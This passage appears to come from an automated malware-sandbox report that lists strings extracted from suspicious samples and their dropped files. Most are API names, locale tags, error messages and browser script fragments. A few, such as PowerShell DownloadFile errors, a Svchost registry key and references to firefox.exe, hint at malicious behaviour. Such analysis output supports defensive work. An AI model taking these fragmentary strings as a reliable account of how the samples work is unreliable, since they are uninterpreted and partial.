eName?opt_baseTypeName:name;this.name=name;this.creationTs=creationTs;this.creationTsWasExplicit=false;this.deletionTs=Number.MAX_VALUE;this.deletionTsWasExplicit=false;this.colorId=0;this.bounds=new tr.b.Range();this.snapshots=[];this.hasImplicitSnapshots=fal
Ansi based on Runtime Data (CPK.exe )
encent Inc.
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
EncodePointer
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
EndDialog
Ansi based on Dropped File (kokoko.dll.2691425955)
EndDoc
Ansi based on Dropped File (hhhhh.exe.655875088)
EndPage
Ansi based on Dropped File (hhhhh.exe.655875088)
EndPaint
Ansi based on Dropped File (kokoko.dll.2691425955)
english-american
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-aus
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-belize
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-can
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-caribbean
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-ire
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-jamaica
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-nz
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-south africa
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-trinidad y tobago
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-uk
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-us
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-usa
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
enough space for _onexit/atexit table
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ent =
Unicode based on Dropped File (psi.dll.1283195511)
ent = n
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
EnterCriticalSection
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
eNumber-b.lineNumber;}progress.worked(1);var matches=[];var queries=this._searchConfig.queries();if(content!==null){for(var i=0;i<queries.length;++i){var nextMatches=Common.ContentProvider.performSearchInContent(content,queries[i],!this._searchConfig.ignoreC
Ansi based on Runtime Data (CPK.exe )
EnumerateTraceGuids
Ansi based on Dropped File (ttttt.exe.179545488)
EnumerateTraceGuidsEx
Ansi based on Dropped File (ttttt.exe.179545488)
EnumerateTraceGuidsEx Failed %d
Unicode based on Dropped File (ttttt.exe.179545488)
EnumerateTraceGuidsEx Failed %d
Unicode based on Dropped File (ttttt.exe.179545488)
EnumSystemLocalesEx
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
EnumSystemLocalesW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
eoQ&f?PS6
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ePath
Unicode based on Dropped File (hhhhh.exe.655875088)
epteula
Unicode based on Dropped File (hhhhh.exe.655875088)
equeue
Unicode based on Dropped File (ttttt.exe.179545488)
er')||!event.hasOwnProperty('cpu')||!event.hasOwnProperty('ts')||!event.hasOwnProperty('payload')){return false;}var timestamp=this.importTimestamp(event.ts);var header={guid:event.guid,opcode:event.op,version:event.ver,cpu:event.cpu,timestamp:timestamp,is64:
Ansi based on Runtime Data (CPK.exe )
ER32.DLL
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
ER: case AnchorType.BEFORE: // align top edges if (anchorRect.top + popupRect.height <= availRect.height) { style.top = anchorRect.top + 'px'; // align bottom edges } else if (anchorRect.bottom - popupRect.heigh
Ansi based on Runtime Data (CPK.exe )
erBound',{value:function(object,comparator,left,right){function defaultComparator(a,b){return a<b?-1:(a>b?1:0);}comparator=comparator||defaultComparator;var l=left||0;var r=right!==undefined?right:this.length;while(l<r){var m=(l+r)>>1;if(comparator(object,th
Ansi based on Runtime Data (CPK.exe )
eReserve
Unicode based on Dropped File (ttttt.exe.179545488)
erface
Unicode based on Dropped File (ttttt.exe.179545488)
erica
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
erican
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
erican english
Unicode based on Dropped File (hhhhh.exe.655875088)
erModeExceptionPolicy
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
ernalName
Unicode based on Dropped File (MIO.dll.1862922135)
erName] trace session
Unicode based on Dropped File (ttttt.exe.179545488)
error
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Error closing handle:
Ansi based on Dropped File (hhhhh.exe.655875088)
Error obtaining handle information:
Ansi based on Dropped File (hhhhh.exe.655875088)
Error reading file
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Error writing to file
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
error) { return map[error.severity].weight > map[prev].weight ? error.severity : prev; }, extension.manifestErrors.length ? Level.WARN : Level.LOG); // Adjust the class on the icon. var icon = item.querySelecto
Ansi based on Runtime Data (CPK.exe )
Error: %s filter is too long.
Unicode based on Dropped File (ttttt.exe.179545488)
Error: %s is invalid.
Unicode based on Dropped File (ttttt.exe.179545488)
ERROR: Failed to %s Guid [%d]...
Unicode based on Dropped File (ttttt.exe.179545488)
ERROR: Failed to enable preservationOperation Status: %uL%ws
Unicode based on Dropped File (ttttt.exe.179545488)
ERROR: Failed to set profile interval
Ansi based on Dropped File (ttttt.exe.179545488)
Error: Invalid Package Id Filter arguments.
Unicode based on Dropped File (ttttt.exe.179545488)
Error: Invalid Package Relative App Id Filter arguments.
Unicode based on Dropped File (ttttt.exe.179545488)
Error: Log File Name too long.
Unicode based on Dropped File (ttttt.exe.179545488)
Error: Logger Name is too long.
Unicode based on Dropped File (ttttt.exe.179545488)
ERROR: Logger not startedOperation Status: %uL%s
Unicode based on Dropped File (ttttt.exe.179545488)
Error: Multiple %s filters are specified.
Unicode based on Dropped File (ttttt.exe.179545488)
Error: Multiple %s Filters.
Unicode based on Dropped File (ttttt.exe.179545488)
Error: no action specified
Unicode based on Dropped File (ttttt.exe.179545488)
ERROR: No guids were given for enable/disable.
Unicode based on Dropped File (ttttt.exe.179545488)
ERROR: No profile source specified
Ansi based on Dropped File (ttttt.exe.179545488)
ERROR: Profiling not supported on this version
Ansi based on Dropped File (ttttt.exe.179545488)
ERROR: System Logger does not accept application guids.
Unicode based on Dropped File (ttttt.exe.179545488)
ERROR: Unrecognized profile source %ws
Ansi based on Dropped File (ttttt.exe.179545488)
ErrorControl
Unicode based on Dropped File (hhhhh.exe.655875088)
ers Lost: %d
Unicode based on Dropped File (ttttt.exe.179545488)
erStateChangeCallback
Unicode based on Runtime Data (rundll32.exe )
ervationOperation Status: %uL%ws
Unicode based on Dropped File (ttttt.exe.179545488)
erviceStatus
Ansi based on Dropped File (kokoko.dll.2691425955)
erwe{
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
es-AR
Unicode based on Dropped File (hhhhh.exe.655875088)
es-bo
Unicode based on Dropped File (hhhhh.exe.655875088)
es-BO
Unicode based on Dropped File (hhhhh.exe.655875088)
es-CL
Unicode based on Dropped File (hhhhh.exe.655875088)
es-CO
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
es-co
Unicode based on Dropped File (hhhhh.exe.655875088)
es-DO
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
es-do
Unicode based on Dropped File (hhhhh.exe.655875088)
es-EC
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
es-ES
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
es-es
Unicode based on Dropped File (hhhhh.exe.655875088)
es-hn
Unicode based on Dropped File (hhhhh.exe.655875088)
es-HN
Unicode based on Dropped File (hhhhh.exe.655875088)
es-MX
Unicode based on Dropped File (UAC.dll.626400535)
es-ni
Unicode based on Dropped File (hhhhh.exe.655875088)
es-NI
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
es-PA
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
es-PE
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
es-pe
Unicode based on Dropped File (hhhhh.exe.655875088)
es-PR
Unicode based on Dropped File (hhhhh.exe.655875088)
es-PY
Unicode based on Dropped File (hhhhh.exe.655875088)
es-py
Unicode based on Dropped File (hhhhh.exe.655875088)
es-SV
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
es-UY
Unicode based on Dropped File (hhhhh.exe.655875088)
es-uy
Unicode based on Dropped File (hhhhh.exe.655875088)
es-VE
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
esday
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ese-hongkong
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ess32Next
Ansi based on Dropped File (hhhhh.exe.655875088)
estions(suggestions) { this.dataModel = new ArrayDataModel(suggestions); this.hidden = !this.targetInput_ || suggestions.length == 0; }, /** * Requests new suggestions. Called when new suggestions are needed. * @param {string} qu
Ansi based on Runtime Data (CPK.exe )
et-ee
Unicode based on Dropped File (hhhhh.exe.655875088)
et-EE
Unicode based on Dropped File (UAC.dll.626400535)
etFileMetadata as a table. * @param {Array} list of dictionaries containing 'extensionName', * 'extensionID', 'status'. */FileMetadata.onGetExtensions = function(extensionStatuses) { var select = $('extensions-select'); // Record existing drop dow
Ansi based on Runtime Data (CPK.exe )
EtPd1`79.0$}v
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
eturn this.parseForIn(node,_init);return this.parseFor(node,_init);}var refShorthandDefaultPos={start:0};var init=this.parseExpression(true,refShorthandDefaultPos);if(this.type===_tokentype.types._in||this.options.ecmaVersion>=6&&this.isContextual("of")){thi
Ansi based on Runtime Data (CPK.exe )
ETW Tracing Guid Count = %d
Unicode based on Dropped File (ttttt.exe.179545488)
EulaAccepted
Unicode based on Dropped File (hhhhh.exe.655875088)
ev4R;=m)}
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Evaluate);return parentElement;},node:function(expression,evaluateOptions){var parentElement=createElement('div');this.evaluate(expression,evaluateOptions,onEvaluate);function onEvaluate(remoteObject){Common.Renderer.renderPromise(remoteObject).then(appendRend
Ansi based on Runtime Data (CPK.exe )
evel Enable
Unicode based on Dropped File (ttttt.exe.179545488)
Event(new Event('error'));}}else{list[link.href]=link;optAsync=Boolean(optAsync);if(optAsync){link.setAttribute('async','');}document.head.appendChild(link);}return imprt;},create:function(tag,props){var elt=document.createElement(tag);if(props){for(var n in
Ansi based on Runtime Data (CPK.exe )
EventIdFilterIn
Unicode based on Dropped File (ttttt.exe.179545488)
EventIds
Unicode based on Dropped File (ttttt.exe.179545488)
EventKernel
Unicode based on Dropped File (ttttt.exe.179545488)
EventRegister
Ansi based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
Events Lost: %d
Unicode based on Dropped File (ttttt.exe.179545488)
Events_: function() { var ccNumber = $('credit-card-number'); $('name-on-card').oninput = ccNumber.oninput = $('expiration-month').onchange = $('expiration-year').onchange = this.inputFieldChanged_.bind(this); }, /*
Ansi based on Runtime Data (CPK.exe )
EventUnregister
Ansi based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
EventWrite
Ansi based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
eVersion
Unicode based on Dropped File (psi.dll.1283195511)
ew-objec
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
ewMessage
Unicode based on Dropped File (ttttt.exe.179545488)
ExAllocatePoolWithTag
Ansi based on Dropped File (hhhhh.exe.655875088)
exception
Ansi based on Dropped File (UAC.dll.626400535)
Exception calling "DownloadFile" with "2" argument(s): "The operation has timed
Unicode based on Runtime Data (powershell.exe )
Exception calling "DownloadFile" with "2" argument(s): "The remote server retur
Unicode based on Runtime Data (powershell.exe )
executable format error
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ExecutablePath
Unicode based on Dropped File (kokoko.dll.2691425955)
Execution
Unicode based on Dropped File (psi.dll.1283195511)
ExecutionPolicy
Unicode based on Runtime Data (rundll32.exe )
ExeFilter
Unicode based on Dropped File (ttttt.exe.179545488)
Exf]?
Ansi based on Runtime Data (rundll32.exe )
ExFreePoolWithTag
Ansi based on Dropped File (hhhhh.exe.655875088)
ExGetPreviousMode
Ansi based on Dropped File (hhhhh.exe.655875088)
ExitProcess
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ExitSynchronization
Unicode based on Dropped File (hhhhh.exe.655875088)
ExitThread
Ansi based on Dropped File (hhhhh.exe.655875088)
exp10
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ExpandEnvironmentStringsW
Ansi based on Dropped File (MIO.dll.1862922135)
expecting another \u token to begin the second half of a unicode surrogate pair
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Explorer
Unicode based on Dropped File (hhhhh.exe.655875088)
Export
Unicode based on Runtime Data (QQBrowser.exe )
extElement = menu.contextElement; menu.contextElement = null; this.showingEvents_.removeAll(); menu.selectedIndex = -1; this.menu_ = null; // On windows we might hide the menu in a right mouse button up and if // that is th
Ansi based on Runtime Data (CPK.exe )
Extension
Unicode based on Runtime Data (QQBrowser.exe )
extern "C"
Ansi based on Dropped File (kokoko.dll.2691425955)
extTab=string.length;var skipped=nextTab-pos;if(nextTab==string.length||col+skipped>=goal)return pos+Math.min(skipped,goal-col);col+=nextTab-pos;col+=tabSize-(col%tabSize);pos=nextTab+1;if(col>=goal)return pos;}}var spaceStrs=[""];function spaceStr(n){whil
Ansi based on Runtime Data (CPK.exe )
ezd%8 T|5
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
eZQ`6a=:2W
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f Buffers: %d
Unicode based on Dropped File (ttttt.exe.179545488)
f#ADG,R.;nTs
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f#t'p7TQj
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f']W[1N
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
F) ~c,xzMD
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
F*2cs<US;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
F-16LE
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
F.oL3>~'o)u
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f/um.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
F0_68D4BF001DAA$C__D074D0C0C7484E73B56CCBE982E1B36C>2TARGETDIRDefaultFeature_4F7C52A1359542BDA50BB0AB1C55EC36{0AC13018-8CAB-1980-CE61-24A7329F7A42}C__4F7C52A1359542BDA50BB0AB1C55EC3610334.0.2.1SNARE64.DLL|Snare64.dll{30028030-F7D9-5AE0-0739-61B1B907CF28}C__D07
Ansi based on Runtime Data (rundll32.exe )
F7)}??O?#U
Ansi based on Runtime Data (rundll32.exe )
f8y0r;|Pz
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f9]x<@tNF
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f:jtLSmA
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
F:nC?n'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
F?FCALA"H
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f?u2iA,'/1K
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f@/*8Eb@O
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
F@kb:'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
F]+xb
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
F_to5BXK"86:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f`Z_%hsj,
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
fa&A;qVsN0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
fa-IR
Unicode based on Dropped File (hhhhh.exe.655875088)
fa-ir
Unicode based on Dropped File (hhhhh.exe.655875088)
Failed to %s Guid [%d]...
Unicode based on Dropped File (ttttt.exe.179545488)
Failed to allocate memory
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Failed to allocate string value buffer
Ansi based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
Failed to configure counters 0x%x
Ansi based on Dropped File (ttttt.exe.179545488)
Failed to configure events 0x%x
Ansi based on Dropped File (ttttt.exe.179545488)
Failed to configure handle trace filter 0x%x
Ansi based on Dropped File (ttttt.exe.179545488)
Failed to enable the system profile privilege 0x%x
Ansi based on Dropped File (ttttt.exe.179545488)
Failed to get current directory
Unicode based on Dropped File (ttttt.exe.179545488)
Failed to get source id for %ws
Ansi based on Dropped File (ttttt.exe.179545488)
Failed to RevertToSelf 0x%x
Ansi based on Dropped File (ttttt.exe.179545488)
Failed to set sampled profile interval 0x%x
Ansi based on Dropped File (ttttt.exe.179545488)
Failed to update profile source configuration 0x%x
Ansi based on Dropped File (ttttt.exe.179545488)
Failure
Unicode based on Dropped File (ttttt.exe.179545488)
FALSE
Unicode based on Dropped File (ttttt.exe.179545488)
false
Ansi based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
FASTIO
Unicode based on Dropped File (ttttt.exe.179545488)
FatalAppExitA
Ansi based on Dropped File (kokoko.dll.2691425955)
fclose
Ansi based on Dropped File (ttttt.exe.179545488)
fD#C>
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
fE3t!ku<
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
fe;k^m<X
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Feature_ClientAuthCertFilter
Unicode based on Runtime Data (QQBrowser.exe )
February
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ffset){var newSelection=new tr.model.EventSet();for(var event of selection){if(event instanceof tr.model.FlowEvent){if(offset>0){newSelection.push(event.endSlice);}else if(offset<0){newSelection.push(event.startSlice);}else{}continue;}var track=this.trackFor
Ansi based on Runtime Data (CPK.exe )
fgetc
Ansi based on Dropped File (ttttt.exe.179545488)
fgetws
Ansi based on Dropped File (ttttt.exe.179545488)
fhyqJDxA4YvBgtDWzOYypy1xr922JWEkEElaEEEZkNB7SqmPiet8aYdHTa/mJOjIwhqB0aVip8isz+eRRYAZhfmpOWIyddffx1xcoKZPmFCTVeuXBmzNagTHmIyPh7jjP5rE0outcNjJ4SUqXrni0KpqgcuQQWmMmet8a8d1Hgo1vXzwrmWAN8EQ9tRmJQbHLXGm3ZI7D4BHQWHIKgdCG2W3lHOQZmkt4+20roWnDaoqirjqEBT3LYW/RBaLrXDBsZDv
Ansi based on Runtime Data (CPK.exe )
fi-357\li357\sb120\sa120\tx360\caps\fs20 8.\tab\fs19 Legal Effect.\b0\caps0 This agreement describes certain legal rights. You may have other rights under the laws of your country. You may also have rights with respect to the party from whom you acquired the software. This agreement does not change your rights under the laws of your country if the laws of your country do not permit it to do so.\b\caps\par
Ansi based on Dropped File (hhhhh.exe.655875088)
fi-FI
Unicode based on Dropped File (hhhhh.exe.655875088)
File description>
Unicode based on Dropped File (MIO.dll.1862922135)
file error
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
file exists
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
File not found in the zipfile
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
file source configuration 0x%x
Ansi based on Dropped File (ttttt.exe.179545488)
file too large
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
File.Etl
Unicode based on Dropped File (ttttt.exe.179545488)
FileDescription
Unicode based on Dropped File (kokoko.dll.2691425955)
FileDirectory
Unicode based on Runtime Data (QQBrowser.exe )
FileExtensions
Unicode based on Runtime Data (QQBrowser.exe )
FileInfo\Translation
Unicode based on Dropped File (kokoko.dll.2691425955)
FileMap
Unicode based on Dropped File (ttttt.exe.179545488)
FileName
Unicode based on Dropped File (ttttt.exe.179545488)
filename too long
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
filename_too_long
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FileTracingMask
Unicode based on Runtime Data (QQBrowser.exe )
FileVersion
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
fill-opacity: 0.2;\n}\n\nsvg.animation-ui g:first-child:hover path.animation-keyframe {\n fill-opacity: 0.4;\n}\n\n.animation-node-selected path.animation-keyframe {\n fill-opacity: 0.4;\n}\n\nline.animation-line {\n stroke-width: 2px;\n stroke-lin
Ansi based on Runtime Data (CPK.exe )
Filter
Unicode based on Runtime Data (rundll32.exe )
Filter arguments.
Unicode based on Dropped File (ttttt.exe.179545488)
filter with <n> Pids (maximum 8 allowed)
Unicode based on Dropped File (ttttt.exe.179545488)
FindClose
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FindFirstFileA
Ansi based on Dropped File (MIO.dll.1862922135)
FindFirstFileW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FindNextFileA
Ansi based on Dropped File (MIO.dll.1862922135)
FindNextFileW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FindResourceExW
Ansi based on Dropped File (psi.dll.1283195511)
FindResourceW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FipsAlgorithmPolicy
Unicode based on Runtime Data (CPK.exe )
firefox.exe
Unicode based on Dropped File (kokoko.dll.2691425955)
FiU(\J><>
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
fixed; right: 0; bottom: 0; left: 0; }; --layout-fixed-left: { position: fixed; top: 0; bottom: 0; left: 0; }; }</style>/** Polymer.IronFormElementBehavior enables a custom element to be included
Ansi based on Runtime Data (CPK.exe )
fks8#
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Flags
Unicode based on Runtime Data (rundll32.exe )
float
Ansi based on Dropped File (kokoko.dll.2691425955)
floor
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FlsAlloc
Ansi based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
FlsFree
Ansi based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
FlsGetValue
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FlsSetValue
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FltIo
Unicode based on Dropped File (ttttt.exe.179545488)
FlushFileBuffers
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FlushProcessWriteBuffers
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FlushThreshold
Unicode based on Dropped File (ttttt.exe.179545488)
FlushTimer
Unicode based on Dropped File (ttttt.exe.179545488)
fo-fo
Unicode based on Dropped File (hhhhh.exe.655875088)
fo-FO
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FolderTypeID
Unicode based on Runtime Data (rundll32.exe )
font-weight: bold;}.action-box-remove-user-warning-table-nonsync { border-spacing: 0; width: 100%;}.action-box-remove-user-warning-table td { padding: 0;}.action-box-remove-user-warning-table-numbers { color: #757575; text-align: end;}/*
Ansi based on Runtime Data (CPK.exe )
for detail.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
for thread data
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
ForceRemove
Unicode based on Dropped File (psi.dll.1283195511)
formation ----------------
Unicode based on Dropped File (ttttt.exe.179545488)
FormatMessageW
Ansi based on Dropped File (ttttt.exe.179545488)
fp/Wn
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
fqz,#c"vc
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
fr-BE
Unicode based on Dropped File (hhhhh.exe.655875088)
fr-ca
Unicode based on Dropped File (hhhhh.exe.655875088)
fr-CH
Unicode based on Dropped File (hhhhh.exe.655875088)
fr-FR
Unicode based on Dropped File (UAC.dll.626400535)
fr-fr
Unicode based on Dropped File (hhhhh.exe.655875088)
fr-LU
Unicode based on Dropped File (hhhhh.exe.655875088)
fr-mc
Unicode based on Dropped File (hhhhh.exe.655875088)
Fr43GDkx6>c
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Fr8x??
Ansi based on Runtime Data (rundll32.exe )
FrameMerging
Unicode based on Runtime Data (QQBrowser.exe )
FrameTabWindow
Unicode based on Runtime Data (QQBrowser.exe )
Free Buffers: %d
Unicode based on Dropped File (ttttt.exe.179545488)
FreeEnvironmentStringsW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FreeLibrary
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
FreeLibraryWhenCallbackReturns
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FreeResource
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
french-belgian
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
french-canadian
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
french-luxembourg
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
french-swiss
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
frexp
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Friday
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
FromCacheTimeout
Unicode based on Runtime Data (QQBrowser.exe )
fRrc`fnk~
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
fr|tGs+?f
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
fscanf
Ansi based on Dropped File (ttttt.exe.179545488)
ftMouseButton(e)) {this.save(e);}},click: function (e) {if (hasLeftMouseButton(e)) {this.forward(e);}},touchstart: function (e) {this.save(e.changedTouches[0], e);},touchend: function (e) {this.forward(e.changedTouches[0], e);},forward: function
Ansi based on Runtime Data (CPK.exe )
FTN(`:Hrh
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FtpDefaultExpiryTimeSecs
Unicode based on Runtime Data (QQBrowser.exe )
ftware
Unicode based on Dropped File (psi.dll.1283195511)
FTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
Unicode based on Dropped File (kokoko.dll.2691425955)
function not supported
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
function(text) { // Trim beginning and ending whitespace. return text.replace(/^\s+|\s+$/g, ''); }; // Export return { SearchPage: SearchPage };});// Copyright (c) 2012 The Chromium Authors. All rights reserved.// Use of this source
Ansi based on Runtime Data (CPK.exe )
function_call@std@@
Ansi based on Runtime Data (rundll32.exe )
Fvjk^|7mJ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
fWu{v
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FXh6~4E6_xF
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f}fzE&A[u
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
g for specified events
Unicode based on Dropped File (ttttt.exe.179545488)
G!j"B_H!,:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
G#.E2mI*
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
g-%ORX:}em
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
g/>8B8lQ*
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
g19#d0dlds)Lv
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
g:&0mI}C+_fL
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
G; var autofillSynced = syncAll || $('autofill-checkbox').checked; var result = JSON.stringify({ 'syncAllDataTypes': syncAll, 'bookmarksSynced': syncAll || $('bookmarks-checkbox').checked, 'preferencesSynced': syncAll || $('
Ansi based on Runtime Data (CPK.exe )
G;TI!1\6
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
g;UI.Widget._originalAppendChild.call(document.body,this.element);this.element.positionAt(0,0);var result=new Size(this.element.offsetWidth,this.element.offsetHeight);this.element.positionAt(undefined,undefined);if(oldParent)UI.Widget._originalInsertBefore.c
